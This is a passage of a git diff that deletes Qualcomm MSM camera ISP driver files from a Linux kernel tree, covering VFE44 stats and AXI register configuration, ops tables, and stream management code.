msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (STATS_IDX(stream_info->stream_handle) + 15)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_stats_cfg_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - int stats_idx = STATS_IDX(stream_info->stream_handle); - uint32_t stats_base = VFE44_STATS_BASE(stats_idx); - - /* BF_SCALE does not have its own WR_ADDR_CFG, - * IRQ_FRAMEDROP_PATTERN and IRQ_SUBSAMPLE_PATTERN; - * it's using the same from BF */ - if (stats_idx == STATS_IDX_BF_SCALE) - return; - /*WR_ADDR_CFG*/ - msm_camera_io_w(stream_info->framedrop_period << 2, - vfe_dev->vfe_base + stats_base + 0x8); - /*WR_IRQ_FRAMEDROP_PATTERN*/ - msm_camera_io_w(stream_info->framedrop_pattern, - vfe_dev->vfe_base + stats_base + 0x10); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(0xFFFFFFFF, - vfe_dev->vfe_base + stats_base + 0x14); -} - -static void msm_vfe44_stats_clear_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t val = 0; - int stats_idx = STATS_IDX(stream_info->stream_handle); - uint32_t stats_base = VFE44_STATS_BASE(stats_idx); - /* BF_SCALE does not have its own WR_ADDR_CFG, - * IRQ_FRAMEDROP_PATTERN and IRQ_SUBSAMPLE_PATTERN; - * it's using the same from BF */ - if (stats_idx == STATS_IDX_BF_SCALE) - return; - - /*WR_ADDR_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x8); - /*WR_IRQ_FRAMEDROP_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x10); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x14); -} - -static void msm_vfe44_stats_cfg_ub(struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = VFE44_UB_SIZE; - uint32_t ub_size[VFE44_NUM_STATS_TYPE] = { - 128, /*MSM_ISP_STATS_BF_SCALE*/ - 64, /*MSM_ISP_STATS_BE*/ - 128, /*MSM_ISP_STATS_BG*/ - 128, /*MSM_ISP_STATS_BF*/ - 16, /*MSM_ISP_STATS_AWB*/ - 8, /*MSM_ISP_STATS_RS*/ - 16, /*MSM_ISP_STATS_CS*/ - 16, /*MSM_ISP_STATS_IHIST*/ - 16, /*MSM_ISP_STATS_BHIST*/ - }; - - for (i = 0; i < VFE44_NUM_STATS_TYPE; i++) { - ub_offset -= ub_size[i]; - msm_camera_io_w(VFE44_STATS_BURST_LEN << 30 | - ub_offset << 16 | (ub_size[i] - 1), - vfe_dev->vfe_base + VFE44_STATS_BASE(i) + - ((i == STATS_IDX_BF_SCALE) ? 0x8 : 0xC)); - } -} - -static void msm_vfe44_stats_enable_module(struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - int i; - uint32_t module_cfg, module_cfg_mask = 0; - uint32_t stats_cfg, stats_cfg_mask = 0; - - for (i = 0; i < VFE44_NUM_STATS_TYPE; i++) { - if ((stats_mask >> i) & 0x1) { - switch (i) { - case STATS_IDX_BE: - case STATS_IDX_BG: - case STATS_IDX_BF: - case STATS_IDX_AWB: - case STATS_IDX_RS: - case STATS_IDX_CS: - module_cfg_mask |= 1 << (4 + i); - break; - case STATS_IDX_IHIST: - module_cfg_mask |= 1 << 15; - break; - case STATS_IDX_BHIST: - module_cfg_mask |= 1 << 18; - break; - case STATS_IDX_BF_SCALE: - stats_cfg_mask |= 1 << 2; - break; - default: - pr_err("%s: Invalid stats mask\n", __func__); - return; - } - } - } - - module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x18); - if (enable) - module_cfg |= module_cfg_mask; - else - module_cfg &= ~module_cfg_mask; - msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x18); - - stats_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x888); - if (enable) - stats_cfg |= stats_cfg_mask; - else - stats_cfg &= ~stats_cfg_mask; - msm_camera_io_w(stats_cfg, vfe_dev->vfe_base + 0x888); -} - -static void msm_vfe44_stats_update_ping_pong_addr( - struct vfe_device *vfe_dev, struct msm_vfe_stats_stream *stream_info, - uint32_t pingpong_status, dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - int stats_idx = STATS_IDX(stream_info->stream_handle); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE44_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); -} - -static uint32_t msm_vfe44_stats_get_wm_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 15) & 0x1FF; -} - -static uint32_t msm_vfe44_stats_get_comp_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 29) & 0x3; -} - -static uint32_t msm_vfe44_stats_get_frame_id( - struct vfe_device *vfe_dev) -{ - uint32_t session_id = 0; - session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - return vfe_dev->axi_data.frame_id[session_id]; -} - -static int msm_vfe44_get_platform_data(struct vfe_device *vfe_dev) -{ - int rc = 0; - vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_MEM, "vfe"); - if (!vfe_dev->vfe_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->vfe_vbif_mem = platform_get_resource_byname( - vfe_dev->pdev, - IORESOURCE_MEM, "vfe_vbif"); - if (!vfe_dev->vfe_vbif_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_IRQ, "vfe"); - if (!vfe_dev->vfe_irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); - if (IS_ERR(vfe_dev->fs_vfe)) { - pr_err("%s: Regulator get failed %ld\n", __func__, - PTR_ERR(vfe_dev->fs_vfe)); - vfe_dev->fs_vfe = NULL; - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe"); - if (!vfe_dev->iommu_ctx[0]) { - pr_err("%s: cannot get iommu_ctx\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - -vfe_no_resource: - return rc; -} - -static void msm_vfe44_get_error_mask( - uint32_t *error_mask0, uint32_t *error_mask1) -{ - *error_mask0 = 0x00000000; - *error_mask1 = 0x01FFFEFF; -} - -static int msm_vfe44_get_reg_update(uint32_t irq0_status, - uint32_t irq1_statuss) -{ - int rc = 0; - if (irq0_status & 0xF0) - rc = 1; - return rc; -} - -static struct msm_vfe_axi_hardware_info msm_vfe44_axi_hw_info = { - .num_wm = 5, - .num_comp_mask = 3, - .num_rdi = 3, - .num_rdi_master = 3, - .min_wm_ub = 64, -}; - -static struct msm_vfe_stats_hardware_info msm_vfe44_stats_hw_info = { - .stats_capability_mask = - 1 << MSM_ISP_STATS_BE | 1 << MSM_ISP_STATS_BF | - 1 << MSM_ISP_STATS_BG | 1 << MSM_ISP_STATS_BHIST | - 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | - 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS | - 1 << MSM_ISP_STATS_BF_SCALE, - .stats_ping_pong_offset = stats_pingpong_offset_map, - .num_stats_type = VFE44_NUM_STATS_TYPE, - .num_stats_comp_mask = VFE44_NUM_STATS_COMP, -}; - -static struct v4l2_subdev_core_ops msm_vfe44_subdev_core_ops = { - .ioctl = msm_isp_ioctl, - .subscribe_event = msm_isp_subscribe_event, - .unsubscribe_event = msm_isp_unsubscribe_event, -}; - -static struct v4l2_subdev_ops msm_vfe44_subdev_ops = { - .core = &msm_vfe44_subdev_core_ops, -}; - -static struct v4l2_subdev_internal_ops msm_vfe44_internal_ops = { - .open = msm_isp_open_node, - .close = msm_isp_close_node, -}; - -struct msm_vfe_hardware_info vfe44_hw_info = { - .num_iommu_ctx = 1, - .vfe_clk_idx = VFE44_CLK_IDX, - .vfe_ops = { - .irq_ops = { - .read_irq_status = msm_vfe44_read_irq_status, - .process_camif_irq = msm_vfe44_process_camif_irq, - .process_reset_irq = msm_vfe44_process_reset_irq, - .process_halt_irq = msm_vfe44_process_halt_irq, - .process_reset_irq = msm_vfe44_process_reset_irq, - .process_reg_update = msm_vfe44_process_reg_update, - .process_axi_irq = msm_isp_process_axi_irq, - .process_stats_irq = msm_isp_process_stats_irq, - }, - .axi_ops = { - .reload_wm = msm_vfe44_axi_reload_wm, - .enable_wm = msm_vfe44_axi_enable_wm, - .cfg_io_format = msm_vfe44_cfg_io_format, - .cfg_comp_mask = msm_vfe44_axi_cfg_comp_mask, - .clear_comp_mask = msm_vfe44_axi_clear_comp_mask, - .cfg_wm_irq_mask = msm_vfe44_axi_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe44_axi_clear_wm_irq_mask, - .cfg_framedrop = msm_vfe44_cfg_framedrop, - .clear_framedrop = msm_vfe44_clear_framedrop, - .cfg_wm_reg = msm_vfe44_axi_cfg_wm_reg, - .clear_wm_reg = msm_vfe44_axi_clear_wm_reg, - .cfg_wm_xbar_reg = msm_vfe44_axi_cfg_wm_xbar_reg, - .clear_wm_xbar_reg = msm_vfe44_axi_clear_wm_xbar_reg, - .cfg_ub = msm_vfe44_cfg_axi_ub, - .update_ping_pong_addr = - msm_vfe44_update_ping_pong_addr, - .get_comp_mask = msm_vfe44_get_comp_mask, - .get_wm_mask = msm_vfe44_get_wm_mask, - .get_pingpong_status = msm_vfe44_get_pingpong_status, - .halt = msm_vfe44_axi_halt, - }, - .core_ops = { - .reg_update = msm_vfe44_reg_update, - .cfg_camif = msm_vfe44_cfg_camif, - .update_camif_state = msm_vfe44_update_camif_state, - .cfg_rdi_reg = msm_vfe44_cfg_rdi_reg, - .reset_hw = msm_vfe44_reset_hardware, - .init_hw = msm_vfe44_init_hardware, - .init_hw_reg = msm_vfe44_init_hardware_reg, - .release_hw = msm_vfe44_release_hardware, - .get_platform_data = msm_vfe44_get_platform_data, - .get_error_mask = msm_vfe44_get_error_mask, - .process_error_status = msm_vfe44_process_error_status, - .get_regupdate_status = msm_vfe44_get_reg_update, - }, - .stats_ops = { - .get_stats_idx = msm_vfe44_get_stats_idx, - .check_streams = msm_vfe44_stats_check_streams, - .cfg_comp_mask = msm_vfe44_stats_cfg_comp_mask, - .cfg_wm_irq_mask = msm_vfe44_stats_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe44_stats_clear_wm_irq_mask, - .cfg_wm_reg = msm_vfe44_stats_cfg_wm_reg, - .clear_wm_reg = msm_vfe44_stats_clear_wm_reg, - .cfg_ub = msm_vfe44_stats_cfg_ub, - .enable_module = msm_vfe44_stats_enable_module, - .update_ping_pong_addr = - msm_vfe44_stats_update_ping_pong_addr, - .get_comp_mask = msm_vfe44_stats_get_comp_mask, - .get_wm_mask = msm_vfe44_stats_get_wm_mask, - .get_frame_id = msm_vfe44_stats_get_frame_id, - .get_pingpong_status = msm_vfe44_get_pingpong_status, - }, - }, - .dmi_reg_offset = 0x918, - .axi_hw_info = &msm_vfe44_axi_hw_info, - .stats_hw_info = &msm_vfe44_stats_hw_info, - .subdev_ops = &msm_vfe44_subdev_ops, - .subdev_internal_ops = &msm_vfe44_internal_ops, -}; -EXPORT_SYMBOL(vfe44_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h deleted file mode 100644 index 7bd630d4ef4d2..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_ISP44_H__ -#define __MSM_ISP44_H__ - -extern struct msm_vfe_hardware_info vfe44_hw_info; -#endif /* __MSM_ISP44_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c deleted file mode 100644 index 9f3e3be17344a..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c +++ /dev/null @@ -1,1719 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include -#include -#include -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_camera_io_util.h" - -#define SRC_TO_INTF(src) \ - ((src < RDI_INTF_0) ? VFE_PIX_0 : \ - (VFE_RAW_0 + src - RDI_INTF_0)) - -#define HANDLE_TO_IDX(handle) (handle & 0xFF) - -#define MSM_ISP_MIN_AB 450000000 -#define MSM_ISP_MIN_IB 900000000 - -int msm_isp_axi_create_stream( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) -{ - int i, rc = -1; - for (i = 0; i < MAX_NUM_STREAM; i++) { - if (axi_data->stream_info[i].state == AVALIABLE) - break; - } - - if (i == MAX_NUM_STREAM) { - pr_err("%s: No free stream\n", __func__); - return rc; - } - - if ((axi_data->stream_handle_cnt << 8) == 0) - axi_data->stream_handle_cnt++; - - stream_cfg_cmd->axi_stream_handle = - (++axi_data->stream_handle_cnt) << 8 | i; - - memset(&axi_data->stream_info[i], 0, - sizeof(struct msm_vfe_axi_stream)); - spin_lock_init(&axi_data->stream_info[i].lock); - axi_data->stream_info[i].session_id = stream_cfg_cmd->session_id; - axi_data->stream_info[i].stream_id = stream_cfg_cmd->stream_id; - axi_data->stream_info[i].buf_divert = stream_cfg_cmd->buf_divert; - axi_data->stream_info[i].state = INACTIVE; - axi_data->stream_info[i].stream_handle = - stream_cfg_cmd->axi_stream_handle; - return 0; -} - -void msm_isp_axi_destroy_stream( - struct msm_vfe_axi_shared_data *axi_data, int stream_idx) -{ - if (axi_data->stream_info[stream_idx].state != AVALIABLE) { - axi_data->stream_info[stream_idx].state = AVALIABLE; - axi_data->stream_info[stream_idx].stream_handle = 0; - } else { - pr_err("%s: stream does not exist\n", __func__); - } -} - -int msm_isp_validate_axi_request(struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) -{ - int rc = -1, i; - struct msm_vfe_axi_stream *stream_info = NULL; - if (HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle) < MAX_NUM_STREAM) { - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; - } else { - pr_err("%s: Invalid axi_stream_handle\n", __func__); - return rc; - } - switch (stream_cfg_cmd->output_format) { - case V4L2_PIX_FMT_YUYV: - case V4L2_PIX_FMT_YVYU: - case V4L2_PIX_FMT_UYVY: - case V4L2_PIX_FMT_VYUY: - case V4L2_PIX_FMT_SBGGR8: - case V4L2_PIX_FMT_SGBRG8: - case V4L2_PIX_FMT_SGRBG8: - case V4L2_PIX_FMT_SRGGB8: - case V4L2_PIX_FMT_SBGGR10: - case V4L2_PIX_FMT_SGBRG10: - case V4L2_PIX_FMT_SGRBG10: - case V4L2_PIX_FMT_SRGGB10: - case V4L2_PIX_FMT_SBGGR12: - case V4L2_PIX_FMT_SGBRG12: - case V4L2_PIX_FMT_SGRBG12: - case V4L2_PIX_FMT_SRGGB12: - case V4L2_PIX_FMT_QBGGR8: - case V4L2_PIX_FMT_QGBRG8: - case V4L2_PIX_FMT_QGRBG8: - case V4L2_PIX_FMT_QRGGB8: - case V4L2_PIX_FMT_QBGGR10: - case V4L2_PIX_FMT_QGBRG10: - case V4L2_PIX_FMT_QGRBG10: - case V4L2_PIX_FMT_QRGGB10: - case V4L2_PIX_FMT_QBGGR12: - case V4L2_PIX_FMT_QGBRG12: - case V4L2_PIX_FMT_QGRBG12: - case V4L2_PIX_FMT_QRGGB12: - case V4L2_PIX_FMT_JPEG: - case V4L2_PIX_FMT_META: - stream_info->num_planes = 1; - stream_info->format_factor = ISP_Q2; - break; - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV21: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV41: - case V4L2_PIX_FMT_NV16: - case V4L2_PIX_FMT_NV61: - stream_info->num_planes = 2; - stream_info->format_factor = 1.5 * ISP_Q2; - break; - /*TD: Add more image format*/ - default: - pr_err("%s: Invalid output format\n", __func__); - return rc; - } - - if (axi_data->hw_info->num_wm - axi_data->num_used_wm < - stream_info->num_planes) { - pr_err("%s: No free write masters\n", __func__); - return rc; - } - - if ((stream_info->num_planes > 1) && - (axi_data->hw_info->num_comp_mask - - axi_data->num_used_composite_mask < 1)) { - pr_err("%s: No free composite mask\n", __func__); - return rc; - } - - if (stream_cfg_cmd->init_frame_drop >= MAX_INIT_FRAME_DROP) { - pr_err("%s: Invalid skip pattern\n", __func__); - return rc; - } - - if (stream_cfg_cmd->frame_skip_pattern >= MAX_SKIP) { - pr_err("%s: Invalid skip pattern\n", __func__); - return rc; - } - - for (i = 0; i < stream_info->num_planes; i++) { - stream_info->plane_cfg[i] = stream_cfg_cmd->plane_cfg[i]; - stream_info->max_width = max(stream_info->max_width, - stream_cfg_cmd->plane_cfg[i].output_width); - } - - stream_info->output_format = stream_cfg_cmd->output_format; - stream_info->runtime_output_format = stream_info->output_format; - stream_info->stream_src = stream_cfg_cmd->stream_src; - stream_info->frame_based = stream_cfg_cmd->frame_base; - return 0; -} - -static uint32_t msm_isp_axi_get_plane_size( - struct msm_vfe_axi_stream *stream_info, int plane_idx) -{ - uint32_t size = 0; - struct msm_vfe_axi_plane_cfg *plane_cfg = stream_info->plane_cfg; - switch (stream_info->output_format) { - case V4L2_PIX_FMT_YUYV: - case V4L2_PIX_FMT_YVYU: - case V4L2_PIX_FMT_UYVY: - case V4L2_PIX_FMT_VYUY: - case V4L2_PIX_FMT_SBGGR8: - case V4L2_PIX_FMT_SGBRG8: - case V4L2_PIX_FMT_SGRBG8: - case V4L2_PIX_FMT_SRGGB8: - case V4L2_PIX_FMT_QBGGR8: - case V4L2_PIX_FMT_QGBRG8: - case V4L2_PIX_FMT_QGRBG8: - case V4L2_PIX_FMT_QRGGB8: - case V4L2_PIX_FMT_JPEG: - case V4L2_PIX_FMT_META: - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - case V4L2_PIX_FMT_SBGGR10: - case V4L2_PIX_FMT_SGBRG10: - case V4L2_PIX_FMT_SGRBG10: - case V4L2_PIX_FMT_SRGGB10: - case V4L2_PIX_FMT_QBGGR10: - case V4L2_PIX_FMT_QGBRG10: - case V4L2_PIX_FMT_QGRBG10: - case V4L2_PIX_FMT_QRGGB10: - /* TODO: fix me */ - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - case V4L2_PIX_FMT_SBGGR12: - case V4L2_PIX_FMT_SGBRG12: - case V4L2_PIX_FMT_SGRBG12: - case V4L2_PIX_FMT_SRGGB12: - case V4L2_PIX_FMT_QBGGR12: - case V4L2_PIX_FMT_QGBRG12: - case V4L2_PIX_FMT_QGRBG12: - case V4L2_PIX_FMT_QRGGB12: - /* TODO: fix me */ - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV21: - if (plane_cfg[plane_idx].output_plane_format == Y_PLANE) - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - else - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV41: - if (plane_cfg[plane_idx].output_plane_format == Y_PLANE) - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - else - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - case V4L2_PIX_FMT_NV16: - case V4L2_PIX_FMT_NV61: - size = plane_cfg[plane_idx].output_height * - plane_cfg[plane_idx].output_width; - break; - /*TD: Add more image format*/ - default: - pr_err("%s: Invalid output format\n", __func__); - break; - } - return size; -} - -void msm_isp_axi_reserve_wm(struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info) -{ - int i, j; - for (i = 0; i < stream_info->num_planes; i++) { - for (j = 0; j < axi_data->hw_info->num_wm; j++) { - if (!axi_data->free_wm[j]) { - axi_data->free_wm[j] = - stream_info->stream_handle; - axi_data->wm_image_size[j] = - msm_isp_axi_get_plane_size( - stream_info, i); - axi_data->num_used_wm++; - break; - } - } - stream_info->wm[i] = j; - } -} - -void msm_isp_axi_free_wm(struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info) -{ - int i; - for (i = 0; i < stream_info->num_planes; i++) { - axi_data->free_wm[stream_info->wm[i]] = 0; - axi_data->num_used_wm--; - } -} - -void msm_isp_axi_reserve_comp_mask( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info) -{ - int i; - uint8_t comp_mask = 0; - for (i = 0; i < stream_info->num_planes; i++) - comp_mask |= 1 << stream_info->wm[i]; - - for (i = 0; i < axi_data->hw_info->num_comp_mask; i++) { - if (!axi_data->composite_info[i].stream_handle) { - axi_data->composite_info[i].stream_handle = - stream_info->stream_handle; - axi_data->composite_info[i]. - stream_composite_mask = comp_mask; - axi_data->num_used_composite_mask++; - break; - } - } - stream_info->comp_mask_index = i; - return; -} - -void msm_isp_axi_free_comp_mask(struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info) -{ - axi_data->composite_info[stream_info->comp_mask_index]. - stream_composite_mask = 0; - axi_data->composite_info[stream_info->comp_mask_index]. - stream_handle = 0; - axi_data->num_used_composite_mask--; -} - -int msm_isp_axi_get_bufq_handles( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int rc = 0; - - if (stream_info->stream_id & ISP_SCRATCH_BUF_BIT) { - stream_info->bufq_handle = - vfe_dev->buf_mgr->ops->get_bufq_handle( - vfe_dev->buf_mgr, stream_info->session_id, - stream_info->stream_id & ~ISP_SCRATCH_BUF_BIT); - if (stream_info->bufq_handle == 0) { - pr_err("%s: Stream 0x%x has no valid buffer queue\n", - __func__, (unsigned int)stream_info->stream_id); - rc = -EINVAL; - return rc; - } - - stream_info->bufq_scratch_handle = - vfe_dev->buf_mgr->ops->get_bufq_handle( - vfe_dev->buf_mgr, stream_info->session_id, - stream_info->stream_id); - if (stream_info->bufq_scratch_handle == 0) { - pr_err("%s: Stream 0x%x has no valid buffer queue\n", - __func__, (unsigned int)stream_info->stream_id); - rc = -EINVAL; - return rc; - } - } else { - stream_info->bufq_handle = - vfe_dev->buf_mgr->ops->get_bufq_handle( - vfe_dev->buf_mgr, stream_info->session_id, - stream_info->stream_id); - if (stream_info->bufq_handle == 0) { - pr_err("%s: Stream 0x%x has no valid buffer queue\n", - __func__, (unsigned int)stream_info->stream_id); - rc = -EINVAL; - return rc; - } - } - return rc; -} - -int msm_isp_axi_check_stream_state( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) -{ - int rc = 0, i; - unsigned long flags; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream *stream_info; - enum msm_vfe_axi_state valid_state = - (stream_cfg_cmd->cmd == START_STREAM) ? INACTIVE : ACTIVE; - - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) - return -EINVAL; - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) - > MAX_NUM_STREAM) { - return -EINVAL; - } - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - spin_lock_irqsave(&stream_info->lock, flags); - if (stream_info->state != valid_state) { - if ((stream_info->state == PAUSING || - stream_info->state == PAUSED || - stream_info->state == RESUME_PENDING || - stream_info->state == RESUMING) && - (stream_cfg_cmd->cmd == STOP_STREAM || - stream_cfg_cmd->cmd == STOP_IMMEDIATELY)) { - stream_info->state = ACTIVE; - } else { - pr_err("%s: Invalid stream state: %d\n", - __func__, stream_info->state); - spin_unlock_irqrestore( - &stream_info->lock, flags); - rc = -EINVAL; - break; - } - } - spin_unlock_irqrestore(&stream_info->lock, flags); - - if (stream_cfg_cmd->cmd == START_STREAM) { - rc = msm_isp_axi_get_bufq_handles(vfe_dev, stream_info); - if (rc) - break; - } - } - return rc; -} - -void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev) -{ - int i; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream *stream_info; - for (i = 0; i < MAX_NUM_STREAM; i++) { - stream_info = &axi_data->stream_info[i]; - if (stream_info->state != ACTIVE) - continue; - - if (stream_info->runtime_framedrop_update) { - stream_info->runtime_init_frame_drop--; - if (stream_info->runtime_init_frame_drop == 0) { - stream_info->runtime_framedrop_update = 0; - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_framedrop(vfe_dev, stream_info); - } - } - if (stream_info->stream_type == BURST_STREAM) { - stream_info->runtime_burst_frame_count--; - if (stream_info->runtime_burst_frame_count == 0) { - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_framedrop(vfe_dev, stream_info); - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev); - } - } - } -} - -void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - stream_info->runtime_init_frame_drop = stream_info->init_frame_drop; - stream_info->runtime_burst_frame_count = - stream_info->burst_frame_count; - stream_info->runtime_num_burst_capture = - stream_info->num_burst_capture; - stream_info->runtime_framedrop_update = stream_info->framedrop_update; - vfe_dev->hw_info->vfe_ops.axi_ops.cfg_framedrop(vfe_dev, stream_info); -} - -void msm_isp_sof_notify(struct vfe_device *vfe_dev, - enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts) { - struct msm_isp_event_data sof_event; - uint32_t session_id; - unsigned long flags; - uint16_t session_mask = 0; - - session_id = vfe_dev->axi_data.src_info[frame_src].session_id; - spin_lock_irqsave(&vfe_dev->sof_lock, flags); - session_mask = vfe_dev->axi_data.session_frame_src_mask[session_id]; - spin_unlock_irqrestore(&vfe_dev->sof_lock, flags); - - if (!(session_mask & (1 << frame_src))) { - pr_err("%s: Ignoring the Sof for the source INTF %d\n", - __func__, (1 << frame_src)); - return; - } - vfe_dev->axi_data.current_frame_src_mask[session_id] |= - (1 << frame_src); - pr_debug("%s: current mask 0x%X , session mask 0x%X, session_id %d\n", - __func__, - vfe_dev->axi_data.current_frame_src_mask[session_id], - session_mask, - session_id); - if ((vfe_dev->axi_data.current_frame_src_mask[session_id] == - session_mask)) { - vfe_dev->axi_data.current_frame_src_mask[session_id] = 0; - - vfe_dev->axi_data.frame_id[session_id]++; - if (vfe_dev->axi_data.frame_id[session_id] == 0) - vfe_dev->axi_data.frame_id[session_id] = 1; - sof_event.input_intf = session_mask; - sof_event.frame_id = vfe_dev->axi_data.frame_id[session_id]; - sof_event.timestamp = ts->event_time; - sof_event.mono_timestamp = ts->buf_time; - msm_isp_send_event(vfe_dev, - ISP_EVENT_SOF + frame_src, &sof_event); - pr_debug("%s: frame id %d\n", __func__, - vfe_dev->axi_data.frame_id[session_id]); - } -} - -void msm_isp_calculate_framedrop( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) -{ - uint32_t framedrop_period = 0; - struct msm_vfe_axi_stream *stream_info = NULL; - if (HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle) < MAX_NUM_STREAM) { - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; - } else { - pr_err("%s: Invalid stream handle",__func__); - return; - } - - framedrop_period = msm_isp_get_framedrop_period( - stream_cfg_cmd->frame_skip_pattern); - - stream_info->frame_skip_pattern = - stream_cfg_cmd->frame_skip_pattern; - if (stream_cfg_cmd->frame_skip_pattern == SKIP_ALL) - stream_info->framedrop_pattern = 0x0; - else - stream_info->framedrop_pattern = 0x1; - stream_info->framedrop_period = framedrop_period - 1; - - if (stream_cfg_cmd->init_frame_drop < framedrop_period) { - stream_info->framedrop_pattern <<= - stream_cfg_cmd->init_frame_drop; - stream_info->init_frame_drop = 0; - stream_info->framedrop_update = 0; - } else { - stream_info->init_frame_drop = stream_cfg_cmd->init_frame_drop; - stream_info->framedrop_update = 1; - } - - if (stream_cfg_cmd->burst_count > 0) { - stream_info->stream_type = BURST_STREAM; - stream_info->num_burst_capture = - 